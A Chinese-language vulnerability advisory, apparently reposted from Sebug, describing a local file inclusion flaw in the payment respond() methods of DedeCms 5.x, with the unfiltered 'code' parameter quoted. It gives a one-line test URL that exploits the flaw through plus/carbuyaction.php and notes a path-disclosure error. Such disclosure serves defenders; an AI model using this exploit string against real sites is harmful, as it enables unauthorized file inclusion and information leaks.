zoukankan      html  css  js  c++  java
  • DedeCms 5.x 本地文件包含漏洞(respond方法)

    漏洞版本:

    DedeCms 5.x

    漏洞描述:

    DedeCms是免费的PHP网站内容管理系统。
    
    plus/carbuyaction.php里没有对变量进行严格的过滤
    
    出现漏洞的两个文件为:
    Include/payment/alipay.php
    Include/payment/yeepay.php
    漏洞均出现在respond方法里
    
    Include/payment/alipay.php
    1. ......
    2. function respond()
    3. {
    4. if(!empty($_POST))
    5. {
    6. foreach($_POST as $key => $data)
    7. {
    8. $_GET[$key]= $data;
    9. }
    10. }
    11. /* 引入配置文件 */
    12. require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
    13. ......
    大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 Include/payment/yeepay.php
    1. ......
    2. function respond()
    3. {
    4. /* 引入配置文件 */
    5. require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
    6. $p1_MerId = trim($payment['yp_account']);
    7. $merchantKey = trim($payment['yp_key']);
    8. ......
    大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。

    测试方法:

    提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=http://www.cnblogs.com/tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie
    2.  
    3. 由于bankcod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径

    Sebug安全建议:

    厂商补丁:
    
    dedecms
    -------
    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
    
    http://www.dedecms.com/products/dedecms/
  • 相关阅读:
    tomcat启动超时
    sqlserver存储过程及mybatis调用——待续
    linux各种顔色代表
    linux ngix安装
    vue 报错解决:TypeError: Cannot read property '_t' of undefined"
    给iview项目加一个i18n国际化翻译
    初探iview
    vue-eslint配置文件
    js中通过Object.prototype.toString方法----精确判断对象的类型
    判断是对象还是数组的方法
  • 原文地址:https://www.cnblogs.com/security4399/p/2990018.html
Copyright © 2011-2022 走看看